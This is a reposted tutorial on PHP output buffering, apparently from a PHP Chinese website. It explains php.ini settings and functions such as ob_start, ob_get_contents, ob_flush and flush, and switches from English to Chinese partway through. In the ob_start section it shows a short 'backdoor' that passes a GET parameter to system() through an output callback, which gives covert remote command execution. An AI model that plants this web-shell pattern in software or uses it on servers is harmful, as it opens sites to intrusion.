Introduction and role of PHP output buffering

This article mainly introduces the introduction and function of PHP output buffering. Interested friends can refer to it. I hope it will be helpful to everyone.

Overview

I have studied the input and output buffering of PHP before, but after the blog moved, the original article could not be found. I saw a good article today and reposted it by the way.

Introduction

When it comes to output buffering, the first thing to talk about is something called a buffer. Let's give a simple example to illustrate its role: when we edit a document, the system will not write to the disk before we save it, but will write it to the buffer. When the buffer is full or a save operation is performed, , the data will be written to the disk. For PHP, every output operation like echo is also written to the php buffer first. The data will not be displayed on the browser until the script is executed or a forced output caching operation is performed.
In fact, for PHP programmers, basically every script involves output buffering, but in most cases, we do not need to change the output buffering. Today, let’s use an example to make a detailed analysis of the PHP output buffer control function “Output Control”.
The following example briefly introduces how output buffering exists in general scripts:

The code is as follows:

echo 'Apple';
echo 'IBM';
echo 'Microsoft'

When we execute the above script, the script is executing When the first echo is completed, the corresponding content will not be output to the browser, but will be output to a buffer, and so on. When all three echoes are executed (that is, the script ends), the buffer content will be All output to the browser. Of course, this buffer also has a size limit, which is set according to the output_buffering option in php.ini. This will be introduced in detail in the following article. The output buffer control discussed in this chapter is to operate the content in the buffer before the end of the script.
The following example can better reflect the application of output buffer control:

The code is as follows:

echo 'Apple'; 
sleep(2);
echo 'IBM'; 
sleep(2);
echo 'Microsoft';

We need to wait at least 2 seconds to see the output result, then can we let What about its real-time display? That is to say, the corresponding content will be output when the first echo is executed. At this time, you need to use the output buffer control function to operate the buffer. The specific implementation will be put aside for now, and will be announced at the end of the article.

Function

1. In PHP, there cannot be any functions before sending header files such as header(), session_start(), setcookie(), etc. output, and the output buffer control function can be used to output before these functions without reporting an error. In fact, there is no need to do this, it is a very rare use.
2. Process the output content, such as generating static cache files and performing gzip compression output. This is a commonly used function.
3. Capture some unobtainable function output, such as phpinfo(), var_dump(), etc. These functions will display the operation results in the browser, and if we want to process these results, use output buffering Control functions are a good way to do this. To put it simply, this type of function does not have a return value, and to obtain the output data of these functions, the output buffer control function must be used.
4. The last application is the real-time output of some data mentioned in the introduction.

Related configuration items in php.ini

Let’s take a look at the options related to output buffering control in php.ini. There are three options in total, namely: output_buffering , implicit_flush and output_handler.
1.output_buffering defaults to off. When set to on, the output buffer is automatically opened in all scripts, that is, the ob_start() function is automatically executed in each script without calling the function explicitly. It can also be set to an integer number, representing the maximum number of bytes that the buffer can store. We mentioned this configuration item in the description below Example 1.
2.implicit_flush defaults to off. When set to on, PHP will automatically send the buffer content after output. That is, flush() is automatically executed after each piece of output. Of course, valid output not only refers to functions like echo and print, but also includes HTML segments.
3.output_handler defaults to null, and its value can only be set to a built-in function name. Its function is to process all output of the script using the defined function. Its usage is similar to ob_start(‘function_name’), which will be introduced below.

In this article, unless otherwise specified, the values ​​of output_buffering, implicit_flush and output_handler in php.ini are default values.

Output Control function detailed explanation

ob_start()

bool ob_start ([ callback outputcallback[,intchunk_size [, bool $ erase ]]] )

此函数大家从命名上也能明白其含义，就是打开输出缓冲区，从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法，第一个参数要传递一个回调函数，其需将缓冲区内容做为参数，并且返回一个字符串。他会在缓冲区被送出时调用，缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到，来看一个简单的例子就能理解其用法：

代码如下：

function dothing1($echo_thing){
    return ' #' . $echo_thing . '# ';
}
 
ob_start('dothing1');
echo 'Apple';
输出结果
#Apple#

从输出的结果可以看出单词两边被添加了“#”，也就是说在缓冲区内容输出时，运行了我们定义的 dothing1函数。

再来看一个更实际的例子，也就是常见到的将网页内容利用 gzip 压缩后再输出，代码如下：

代码如下:

ob_start();
echo str_repeat('Apple', 1024);

输出结果：没有使用gzip压缩的情况下,输出内容大小为5.2KB。

输出结果：使用gzip压缩的情况下，文档大小小了很多，压缩花费了时间，所以时间长了。

而第二个参数 chunk_size 为缓冲区的字节长度，如果缓冲区内容大于此长度，将会被送出缓冲区，默认值为0，代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除，如果提前执行了删除缓冲区函数(后面会提到)，则会报一个错误。

ob_start() 的用法就这么多，但有两点需要特别注意的地方：

1.ob_start() 可重复调用，也就是说一个脚本中可以存在多个缓冲区，但记得要按照嵌套顺序将他们全部关闭掉，而如果多个 ob_start 都定义了第一个参数，也就是都定义了回调函数，则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套，将在 ob_get_level 函数处详细介绍，这里就不过多阐述了。
2.ob_start() 还有一个不太明显但很致命的后门用法，实现代码如下：

代码如下:

$cmd = 'system';
ob_start($cmd);
echo $_GET['a'];
ob_end_flush();
windows下面的输出结果：
14 个目录 30,970,388,480 可用字节

如果理解了上面关于 ob_start的用法，这段代码就不难理解了，其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点，实现了以Web服务器权限远程执行命令，并且不宜被发觉。

ob_get_contents()

string ob_get_contents ( void )
此函数用来获取此时缓冲区的内容，下面的例子就能很好的理解其用法：

代码如下:

ob_start('doting2');
echo 'apple';
$tmp = ob_get_contents();
file_put_contents('./doting2', $tmp);
ob_end_flush()

ob_get_length()

此函数用来获取缓冲区内容的长度。

ob_get_level()
int ob_get_level ( void )
此函数用来获取缓冲机制的嵌套级别，我们在介绍 ob_start() 函数时曾说过，在一个脚本中可以嵌套存在多个缓冲区，而此函数就是来获取当前缓冲区的嵌套级别，用法如下：

代码如下:

ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();

运行后可以很明显的看出他们的嵌套关系。

ob_get_status（）
array ob_get_status ([ bool $full_status = FALSE ] )
此函数用来获取当前缓冲区的状态，返回一个状态信息的数组，如果第一个参数为 true ，将返回一个详细信息的数组，我们结合实例来分析这个数组：

代码如下:

ob_start('ob_gzhandler');
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush(); ob_end_flush();
运行结果 
array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )

说明：
1.level 为嵌套级别，也就是和通过 ob_get_level() 取到的值一样
2.type 为处理缓冲类型，0为系统内部自动处理，1为用户手动处理
3.status为缓冲处理状态， 0为开始， 1为进行中， 2为结束
4.name 为定义的输出处理函数名称，也就是在 ob_start() 函数中第一个参数传入的函数名
5.del 为是否运行了删除缓冲区操作

ob_flush()
void ob_flush ( void )
此函数的作用就是 “送出” 当前缓冲区内容，同时清空缓冲区，需要注意这里用的是 “送出” 一词，也就是说调用此函数并不会将缓冲区内容输出，必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到，这里就不再做实例了。

flush()
void flush ( void )
这个函数算是比较常用的，用来将其前面的所有输出发送到浏览器显示，且不会对缓存区有任何影响。换句话说，不论是 echo 等函数的输出，还是 HTML实体 ，或是运行 ob_start() 送出的内容，运行 flush() 后都会在浏览器进行显示。

ob_flush()与flush()的区别

在没有开启缓存时，脚本输出的内容都在服务器端处于等待输出的状态，flush()可以将等待输出的内容立即发送到客户端。 开启缓存后，脚本输出的内容存入了输出缓存中，这时没有处于等待输出状态的内容，你直接使用flush()不会向客户端发出任何内容。而ob_flush()的作用就是将本来存在输出缓存中的内容取出来，设置为等待输出状态，但不会直接发送到客户端，这时你就需要先使用ob_flush()再使用flush()，客户端才能立即获得脚本的输出。

void ob_implicit_flush()

此函数用来打开/关闭绝对刷送模式，就是在每一次输出后自动执行 flush()，从而不需要再显示的调用 flush() ，提高效率。

其他相关函数

1.bool ob_end_flush ( void )
2.string ob_get_flush ( void )
3.void ob_clean ( void )
4.bool ob_end_clean ( void )
5.string ob_get_clean ( void )

对一些数据进行实时的输出

相信读了上面的内容，就会对PHP的缓冲控制函数有较深的认识了，现在我们回到简介中留下的问题：让例2的脚本实现实时的显示内容，而不需要等待4秒后出现所有内容。
我们可以根据缓存开启与否，有如下几种不同的写法，如果你在测试过程中无法出现预期的效果，可以在header(‘content-type:text/html;charset=utf-8');下面插入str_repeat(‘ ‘, 1024);，你也可以尝试更大的值，部分浏览器即使这么做了，有可能还是无法出现效果，你可以尝试将php代码放入完整的html代码块body体内。下面代码的header(‘content-type:text/html;charset=utf-8');不要省略哦，否则部分浏览器查看不到效果。

代码如下:

ob_start(''); //这里我使用ob_start('ob_gzhandler')没有效果
header('content-type:text/html;charset=utf-8');
echo 'Apple #';  
ob_flush(); flush();
sleep(2);
echo 'IBM #';
ob_flush(); flush();
sleep(2);
echo 'Microsoft';

总结：以上就是本篇文的全部内容，希望能对大家的学习有所帮助。

相关推荐：

php针对数组的删除、转换、分组、排序

php针对文件操作及字符串加密的方法

php模拟post请求的三种常见用法

The above is the detailed content of Introduction and role of PHP output buffering. For more information, please follow other related articles on the PHP Chinese website!